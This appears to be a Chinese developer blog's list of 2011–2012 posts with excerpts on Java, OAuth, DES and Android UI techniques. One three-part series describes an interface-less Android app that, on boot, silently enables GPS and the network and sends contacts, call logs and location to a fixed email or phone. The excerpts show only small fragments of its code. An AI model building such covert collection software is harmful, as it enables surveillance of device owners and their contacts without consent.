- 博客(32)
- 收藏
- 关注
原创 Java载入Jar内资源问题的探究
转自:http://www.blogjava.net/cenwenchu/archive/2008/05/28/203560.html 工作忙,有些许时间没有更新Blog了,这次在开发监控模块的时候遇到了这个问题,整个问题定位过程真是走了不少路,所以觉得有必要记录下来分享一下。在我看来很多时候结果也许就很简单一个原因,但是开发人员却要探究很久,也许在找到了其他可实现业务逻辑方法的情况下,就...
2012-02-23 18:28:40
118
OAuth 2.0 参数意义
最近在研究OAuth 2.0的技术,发现网上说的其实挺全面的,但是会给刚接触的服务器端开发者一些迷惘,就是这么多的参数如何用?我仔细理解了一下。 1、申请授权接口(HTTPS请求方式)请求参数 必选类型及范围说明client_idtruestring申请应用时分配的AppKey。...
2012-02-20 11:31:17
726
原创 OAuth认证协议原理分析及使用方法
OAuth认证协议原理分析及使用方法Posted on 2010-04-03新:oauth第二代 oauth2开放认证协议原理及案例分析写于 2011-8-4twitter或豆瓣用户一定会发现,有时候,在别的网站,点登录后转到 twitter登录,之后转回原网站,你会发现你已经登录此网站了,比如像 feedtwitter rss2twitter 推特中文圈(这个目...
2012-02-16 11:24:39
134
原创 android 使用des算法
转自:http://www.linuxidc.com/Linux/2011-08/41866.htm 稍有改动import java.security.Key;import java.security.spec.AlgorithmParameterSpec;import javax.crypto.Cipher;import javax.crypto.SecretKeyFactory;imp...
2012-02-09 12:52:51
96
原创 java读写文件大全
转自:http://blog.csdn.net/smartcat86/article/details/4085739使用Java操作文本文件的方法详解 摘要: 最初java是不支持对文本文件的处理的,为了弥补这个缺憾而引入了Reader和Writer两个类 最初java是不支持对文本文件的处理的,为了弥补这个缺憾而引入了Reader和Writer两个类,这两个类都是抽象类,Writer...
2012-02-07 09:10:15
80
原创 Toast显示图片
转自:http://blog.csdn.net/linghu_java/article/details/7222428Toast用于向用户显示一些帮助/提示。下面展示了5种效果,来说明Toast的强大。注意: LENGTH_LONG---长时间显示视图或文本提示LENGTH_SHORT---短时间显示视图或文本提示setGravity(int gravity,int ...
2012-02-02 12:56:43
104
原创 文字中间加横线效果
priceTV.setText("价格:2.00元"); priceTV.getPaint().setFlags(Paint.STRIKE_THRU_TEXT_FLAG);
2012-02-02 11:00:33
148
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)...
static Uri uri = Uri.parse("content://telephony/carriers"); static Context context; public APNUtils(Context context){ this.context=context; } /** * 检查网络 * @return */ public static boolean checkNe...
2011-11-08 12:51:31
320
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)...
public static String getCityNameByGps() { LocationManager lm = (LocationManager) context .getSystemService(Context.LOCATION_SERVICE); Criteria criteria = new Criteria(); criteria.setAccuracy(C...
2011-11-08 12:48:50
739
原创 开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(获取联系人和电话号码、通话记录)...
首先声明者只是一个个人开发的个人使用的小程序,本意是为了防止手机被盗而写的,由于程序需要在不为人知的情况下采集信息然后发送,所以程序没有界面。整个程序的大概思路是这样的手机开始时:1、获取手机联系人信息、通话记录、手机号码2、检查手机gps状态:关闭状态则开启 ,然后获取手机的所在地3、检查手机网络开关,关闭则开启4、将采集的信息发送到指定邮箱中(本文以qq邮箱实现,由于代码太...
2011-11-08 12:46:00
670
原创 iphone推送 java代码实现
最近在研究iphone推送的java实现,看过发现原来很简单,以下是我根据网上源码修改的程序,具体里面的证书和手机token的生产就不解释了,本人没有搞过iphone,有需要的可以再网上搜索以下,很多也很简单。public class PushUtils { private static Logger logger = LoggerFactory.getLogger(PushUtils.cla...
2011-11-07 18:32:36
145
获取properties值
/** * */import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java...
2011-08-10 12:23:03
101
原创 获取服务器硬盘图片
private void getImage(HttpServletRequest request, HttpServletResponse response, String filePath) throws ServletException, IOException { // 禁止缓存 response.setHeader("Pragma", "No-cache"); response....
2011-08-10 12:15:07
162
原创 获取webroot下的文件
public static void downloadFile(String filePath, javax.servlet.http.HttpServletResponse response) { String fileName = ""; //文件名,输出到用户的下载对话框 //从文件完整路径中提取文件名,并进行编码转换,防止不能正确显示中文名 try { if (filePath....
2011-08-10 12:13:18
157
原创 简单文件下载
public static void downloadFile(String filePath, javax.servlet.http.HttpServletResponse response) { String fileName = ""; //文件名,输出到用户的下载对话框 //从文件完整路径中提取文件名,并进行编码转换,防止不能正确显示中文名 try { if (filePath....
2011-08-10 12:12:10
87
网页图表
<html> <head> <!--Load the AJAX API--> <script type="text/javascript" src="https://www.google.com/jsapi"></script> <script type="text/javascript
2011-08-10 11:44:54
75
原创 Android Activity界面切换添加动画特效
在Android 2.0之后有了overridePendingTransition() ,其中里面两个参数,一个是前一个activity的退出两一个activity的进入,@Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceStat...
2011-06-14 13:48:57
100
原创 android 权限介绍(二)
SYSTEM_ALERT_WINDOW允许程序打开窗口通过使用TYPE_SYSTEM_ALERT,显示在其他所有程序的顶层UPDATE_DEVICE_STATS允许程序更新设备统计信息VIBRATE允许访问振动设备WAKE_LOCK允许使用PowerManager的WakeLocks保持进程在休...
2011-06-02 17:08:58
87
原创 android 权限介绍(一)
Manifest.permission 这个类定义了android全部的权限共106个ACCESS_CHECKIN_PROPERTIES允许读写访问"properties"表在checkin数据库中,改值可以修改上传ACCESS_COARSE_LOCATION允许应用程序访问粗糙的位置(例如:Cell-ID,WiFi)。ACCES...
2011-06-02 17:00:07
122
原创 编写高效的Android代码(提高运行速度,节省电量)
编写高效的Android代码(提高运行速度,节省电量) 虽然如此说,但似乎并没有什么好的:Android设备是嵌入式设备。现代的手持设备,与其说是电脑。但是,即使是“最快”的手持设备,其性能也赶不上一台普通的台式电脑。 这就是为什么我们在书写Android应用程序的时候要格外关注效率。这些设备并没有那么快,并且受电池电量的制约。这意味着,设备没有更多的能力,我们必须把程序写的尽量有...
2011-06-02 16:28:34
138
原创 [整理]Selector、shape详解
Selector、shape详解(一)Selector的结构描述:<?xml version="1.0" encoding="utf-8"?> <selector xmlns:android="http://schemas.android.com/apk/res/android" > <item andro...
2011-06-02 15:15:16
91
原创 [转帖]Android自定义Activity漂亮跳转效果
Android自定义Activity漂亮跳转效果两个Activity跳转的时候,自定义翻页效果:Intent intent = new Intent(FirstActivity.this, SecondActivity.class); startActivityForResult(intent, 11); //添加界面切换效果,注意只有A...
2011-05-31 20:10:53
96
gallery加载大量图片时内存溢出的解决方法(三)
6、ImageAdapterpublic class ImageAdapter extends BaseAdapter { private Context mContext;// 上下文 public ImageAdapter(Context c) { this.mContext = c; } @...
2011-05-31 19:14:52
126
gallery加载大量图片时内存溢出的解决方法(二)
Paint deafalutPaint = new Paint(); canvas.drawRect(0, height, width, height + reflectionGap, deafalutPaint); canvas.drawBitmap(reflectionImage, 0, height + reflectionGap, null); ...
2011-05-31 18:56:39
207
gallery加载大量图片时内存溢出的解决方法(一)
这只是我以前开始搞android事留下的代码,发现还是存在问题的,我现在把代码放出来,仅供参考,如没有帮助就不要看了,Gallery加载大量图片的时候容易内存溢出,但是如果及时回收不用的图片,在使用的时候再重新加载,这样就不会出现内存溢出的现象了,所以一定要将加载图片的地址保存起来,在加载图片的时候将生成的bitmap对象用图片地址的字符串保存在map里,不用的时候再根据key值回收。下面...
2011-05-31 18:55:29
253
原创 ListView学习(三) 加载视野内的数据
在滑动的过程中,只有在视野中的item才会加载数据,其他的其实显示的都是”loading…” 这样的好处就是如果加载的是图片的话,那么始终加载的只是几张图片而非是所有的图片,这样就能很好的避免出现内存溢出的问题,当然其他的图片要及时的回收才行,否则图片对象依然在内存里(这样的话图片最好先保存在本地,这样就不会频繁的发送请求,就不会产生网络流量),关于加载大量图片的问题会在以后的文章中出现。下面就看...
2011-05-31 17:13:42
99
原创 ListView学习(二) 点击条目隐藏展开正文
本篇是listview条目点击展开或者隐藏内容,本文参照了android apiDemo写成,主要思想仍然普通的listview组件,listview条目下面有两个textview,第一个为标题、第二个为内容,根据点击标题来设置是否将写有内容的textView隐藏,下面我们就简单实现一下这个功能,原理和技术都很简单,这里就不多说了,下面就看代码,相信一看就会明白!1、首先定义一个实体类:p...
2011-05-28 00:00:21
99
原创 [整理] 操作通话记录(一)
/**为了方便后面页面的封装,这里定义了一个实体类*/public class Call { private Bitmap img; private String telName; private String telNo; private String telDate; private String telTime; ...
2011-05-25 11:31:30
279
原创 [整理] 操作通话记录(二)
//处理时间 public String formatDuring(long mss) { long hours = mss / (60 * 60); long minutes = (mss % (1000 * 60 * 60)) / 60; long seconds = (mss % (1000 * 60)); ret...
2011-05-25 11:25:42
261
android饼状图表
相信图表再很多统计应用都会应用,再这里我想向介绍一个第三方的jar包--j4lChartAndroid.jar,再这里基本上平时用到的图表都有,这里我们就只介绍饼状3d图表 1、xml文件<?xml version="1.0" encoding="utf-8"?><LinearLayout xmlns:android="http://schemas.android...
2011-05-15 15:12:13
82
原创 ListView学习(一) 滑动分页时底部显示进度条
我们在使用listview时难免会遇到分页的情况,既然是分页,那么能给用户看见分页的情况,无疑让用户在等待下一页数据的时候会有好处的,如果获取下一页时间过久的话,用户会觉得好像死机了,这样就会给用户一个不好的体验,下面我就来实现在listview分页是现实进度条,由于这个效果的要求不高,我只使用了很简单的方式来实现,高手莫笑哦! 1、首先便是xml文件<?xml version=...
2011-05-15 14:24:01
158
原创 xstream简单使用案例
XStream主要用来做Java对象和XML 之间的转换器,转换过程是双向的。核心类就是XStream 类,下面就来简单介绍一下XStream最常用,也是最简单的使用主要有两个方法toXML()方法。//将bean转换为xmlfromXML()方法。//将xml转换为bean默认情况下,java 到xml 的映 射,是java 成员名对应xml 的元素名,java 类的全名对应...
2011-05-15 13:28:38
130
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人